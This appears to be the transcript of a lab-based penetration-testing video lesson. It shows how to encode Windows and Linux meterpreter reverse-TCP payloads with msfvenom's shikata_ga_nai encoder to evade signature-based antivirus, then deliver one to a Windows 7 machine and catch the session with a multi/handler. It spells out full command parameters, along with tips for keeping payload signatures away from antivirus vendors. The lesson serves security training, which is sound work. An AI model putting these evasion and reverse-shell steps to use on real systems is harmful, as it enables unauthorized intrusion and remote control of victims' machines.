[MUSIC PLAYING]
Encoding payloads with Msfvenom.
In the previous video, we explored the process
of generating both Windows and Linux payloads with Msfvenom.
And we also took a look at how to set up the multi handler
to receive the connections from our target system.
In this video, we're going to be taking a look at how
to encode both Linux and Windows payloads
with the objective of avoiding signature-based antivirus
solutions.
So first and foremost, let's get a bit of an understanding
as to the limitations of this particular attack vector,
and the attack vector I'm referring to
specifically is client side attacks.
Now given that client side attacks involves the transfer
and storage of malicious payloads on a client system,
attackers need to be cognizant of antivirus detection.
So when we're targeting a service
on a server for example, and we exploit a service,
the payload is being executed in memory,
and it never actually touches the disk of the target system.
Now antivirus solutions like Windows Defender
and Malwarebytes or any other third-party antivirus
solutions that have been designed for end-user operating
systems typically utilize signature-based detection
in order to identify malicious files or executables.
So what is signature-based detection?
Signature-based detection essentially
involves taking a look at the signature of a file.
Now, this is very similar to file hashing,
whereby each file has a unique hash,
and that hash is a unique identifier for each file.
So in the case of a signature, antivirus companies
will typically generate signatures for malicious files
and/or payloads and executables as well.
And all of these signatures are then
stored in the signature database for each
of these antivirus companies.
So the entire process here is that when
you get a client or a target to download a payload
and save it on their computer and consequently execute it,
the antivirus solution will check
the signature of the payload that has just been downloaded,
and it will then compare that signature
with the signatures that are contained
within the antivirus signature database.
And if there is a match, then that file
is flagged as malicious and is then quarantined or removed
from the system.
So in order to evade a signature-based detection,
we can utilize encoding.
However, as I mentioned previously,
this particular attack vector is really not
used anymore primarily because antivirus solutions have
a huge signature database, and modifying or changing
the signature can only help you to a certain extent.
But this technique will probably work
on some of the older rudimentary antivirus solutions
out there like Windows Defender on Windows 7
or previous versions of Windows, and in some cases,
it may work on some new antiviruses.
But again, this is typically not the method
that is utilized in regards to client side attacks.
And again, the reason why we are covering it
is because it's rather or quite important
when it comes down to penetration testing,
you should be able to generate and encode payloads
if required.
So again, I've mentioned encoding briefly.
So if you're not familiar with what encoding is,
it's essentially the process of modifying the payload shellcode
with the objective of modifying the payload signature.
So again, if you modify a file, the signature
changes almost immediately.
Just modifying one byte of a file changes the signature.
So encoding can be used to modify the file
and move around the various bytes within the file
to essentially avoid signature-based detection,
but as I said, this has its limitations.
So in the context of encoding payloads
and how this can be done, what we're essentially doing
is utilizing the built-in Msfvenom encoders
to encode our payloads, both Windows and Linux,
with the objective of trying to evade signature-based antivirus
detection.
So I briefly mentioned shellcode here,
and the reason why I haven't gone through shellcode
before is primarily because I wanted
to explain it in this context.
So what is shellcode?
Whenever I talk about shellcode, you really
don't have to get confused.
Shellcode is essentially the payload,
or it's the code within the payload.
So if we're utilizing a meterpreter payload,
the meterpreter payload contains code,
and that code is called shellcode,
so that's essentially it.
That's what shellcode means.
It gets its name from the term command shell,
whereby shellcode is a piece of code that
provides an attacker with a remote command
shell on a target system.
So whenever I reference shellcode,
just know that I'm referencing the payload itself,
but more specifically, I'm actually
talking about the code.
So we can utilize encoders to modify the shellcode,
consequently changing the signature, which in some cases,
can actually avoid some older antivirus solutions with older
signature databases.
So now that we have an understanding of that,
I'm going to switch back over to my Kali Linux Msfvenom.
And we can take a look at how to encode both Linux and Windows
payloads.
All right, I am back on Kali Linux.
And again, we can utilize Msfvenom
to encode the payloads, or we can generate new payloads
and encode them on the fly.
So what we'll do here is if I just list out Msfvenom,
and I say list out encoders, this
will list out the group of encoders that we can utilize.
And encoders are going to be based on the target operating
system as well as the target architecture.
Now in our case, the best option in regards to an encoder
is going to be the shikata_ga_nai encoder.
As you can see, this is a polymorphic XOR Additive
Feedback Encoder.
And you really don't need to understand at this point what
that means, but all you need to know
is that it's extremely useful.
Now, as you can see, all the encoders
are sorted based on their name, their rank, and description.
And currently, the only two encoders
that have an excellent rank are the PowerShell Base64 encoder,
which is very useful for encoding
PowerShell code in Base64, and the shikata_ga_nai
encoder here.
So we can utilize the shikata_ga_nai code
to encode both Linux and Windows payloads.
So let's start off with Windows payload.
And of course, we're going to be generating a x86 payload
as it will work on both 64-bit and 32-bit operating systems.
So to generate a Windows x86 payload
and then essentially encode it with shikata_ga_nai,
we can say msfvenom.
You can specify the architecture if you want.
But in this case, we're just going
to say windows/meterpreter, which
implies a 32-bit version of meterpreter
because we've not specified 64 there.
So we're going to say reverse_tcp or reverse_http
if we want.
But in this case, let's just use reverse_tcp.
We then need to set up the LHOST option,
which is the attacker IP address or your Kali Linux IP,
so I'm going to set that to 10.10.10.5 in my case.
The LPORT option we will set to 1234.
And then we can now specify our encoder.
So to specify the encode option we say e,
and then we provide the encoder name.
So we're going to say x86, and this encoder will only
work for 32-bit payloads.
So we're going to say shikata_ga_nai,
and that's the entire name there.
And then we can specify the format, which is exe.
And I'll put that onto our desktop,
and I'll say this is under Windows_Payloads,
and I'll just say this is encoded x86.exe.
So we'll be able to tell that that is the encoded payload.
So we'll hit Enter and give that a few seconds.
All right, as you can see, that completes encoding.
And you'll see some interesting output
here in addition to the previous output that we got.
Whenever we essentially generated a payload
without an encoder, it will tell you
right over here attempting to encode the payload with 1
iteration of shikata_ga_nai.
So pay attention to the number 1 iteration or this element
here because that's going to be quite important as we
move along.
So it's essentially going to encode the payload once
with shikata_ga_nai.
And we get the actual output exe file.
So if we head over into Windows payloads,
you can see we get the encoded x86.exe payload there.
So if you've paid close attention
to the iterations output here, we
can pretty much encode our payload as many times
as we want with shikata_ga_nai.
So increasing the number of iterations in regards
to the encoder that we're utilizing
will increase your chances of evading antiviruses.
So the more you encode it, or the more iterations
you actually go through with encoding your payload
with shikata_ga_nai, the better chances
you have of actually bypassing an antivirus.
So we can specify the iterations.
Let me just clear this out.
And what I'll do is I'll remove the encoded payload here
because we're going to generate a new one.
And we're going to specify the iterations here
as probably we can say the number of iterations
we can specify here maybe we can increase that
to something like probably 10.
So we can specify that after LPORT here.
So we're going to say hyphen i, and we then say 10.
So I would typically recommend 10
because anything after 10 will really not
improve much or will really not help in
regards to evading an antivirus.
So we're going to specify the iterations to 10,
and we can then just hit Enter.
And you should also pay close attention to the output
now because it'll actually tell you or show you
the actual iterations here.
So again, give that a few seconds.
There we are.
As you can see, attempting to encode the payload with 10
iterations of shikata_ga_nai.
And it goes through each iteration here.
And it shows you how the actual size
increases or rather reduces and increases
based on each iteration.
So you can see at the end, the final payload size
is 624 bytes, and the final size of the exe file
is 73,802 bytes.
So there we have the actual encoded payload here.
That's encoded x86 here, and we've encoded it
with shikata_ga_nai 10 times.
So that's how to essentially encode Windows payloads.
And we can now move on to Linux payloads.
So again, the process is fairly simple.
We say msfvenom, and then we specify the payload here.
We can then say linux/x86/meterpreter/reverse
tcp.
LHOST is equal to 10.10.10.5.
And we then specify the LPORT here,
which is going to be equal to 1234.
We can then specify the iterations to 10
because we're going to be utilizing
the shikata_ga_nai encoder.
So we say encoder x86/shikata_ga_nai,
underscore ga_nai.
There we are.
And we then specify the format as an elf
file because this is Linux.
And then we can output that onto our desktop
under Linux_Payloads, and we will essentially
call this encodedx86.
And just hit Enter, so that is going to generate the payload
and encoded 10 times in shikata_ga_nai.
And I'll put it into a file or a binary called encodedx86.
So again, give that a few seconds.
There we are, found one compatible encoder.
It's going to go through the various iterations,
and the final size of the file is 477 bytes.
So if we take a look at the Linux payload folder,
there we are Linux Payloads.
You can see that we have the encodedx86 payload here
in addition to the other ones that we created previously.
So now that we've taken a look at how
to generate the encoded payloads,
we can again test this out.
And I'm going to test out the Windows payload or rather
the Windows encoded payload.
So I'll head over into the Windows payload folder,
and I'm going to set up a simple web server here
to host that particular payload so that I can download it
onto the Windows 7 targets.
I'm going to say sudo python -m.
We're using the Python module SimpleHTTPServer,
and we will host this on port 80, provide the password.
There we are.
And I'll now head over onto my Windows workstation.
However, before I do that, we actually
need to set up the listener or the handler, if you will.
So I'm going to say msfconsole in a new tab.
There we are.
And we can then say use a multi/handler.
We then need to set the payload that we
used when we were generating our malicious payload.
So we're going to say set payload
to windows/meterpreter/reverse_tcp.
Set the LHOST option to the IP we
set when we were generating our payload.
And then set the LPORT value as well
because that is very important.
We can then show the options to confirm,
and then we just hit Run.
There we are.
It's going to start the reverse TCP handler,
so I'm going to switch over to my Windows system.
All right, I am back on my Windows system.
And as you can see, we have the encodedx86 payload here.
So I'm just going to save it.
There we are.
We're going to save it in the Downloads folder.
So Downloads, and it's going to be the same directory where
we saved payloadx86.
I'm going to hit Save, Close, open up the Downloads folder.
And once we hit or click on the encoded payload
here and hit Run, that should give us a meterpreter
session on our handler, so I'm going
to switch back to the Kali VM.
There you are.
As you can see, we get a meterpreter session.
And again, we can confirm that we are on the Windows system.
There we are, sysinfo.
We are on Windows 7 6.1 Build 7601, Service Pack 1.
And we now have access to a client side attack.
So that is how to encode both Linux and Windows payloads.
As I said, I wouldn't recommend actually testing these payloads
or uploading them to VirusTotal because the signatures
will be stored and submitted to antivirus companies.
So the only way to actually test this
is to, again, set up a sandbox system
with an antivirus disconnected from the internet
and then test out the payloads to see
whether they are detected.
And of course, this process will involve
a lot of trial and error.
So in the next video, we'll be exploring
the process of injecting a Windows
payload into a portable executable
or a legitimate executable.
And that, again, will help with signature-based antivirus
systems and in regards to evading them,
so that'll be very interesting.
And so I'll see you in the next video.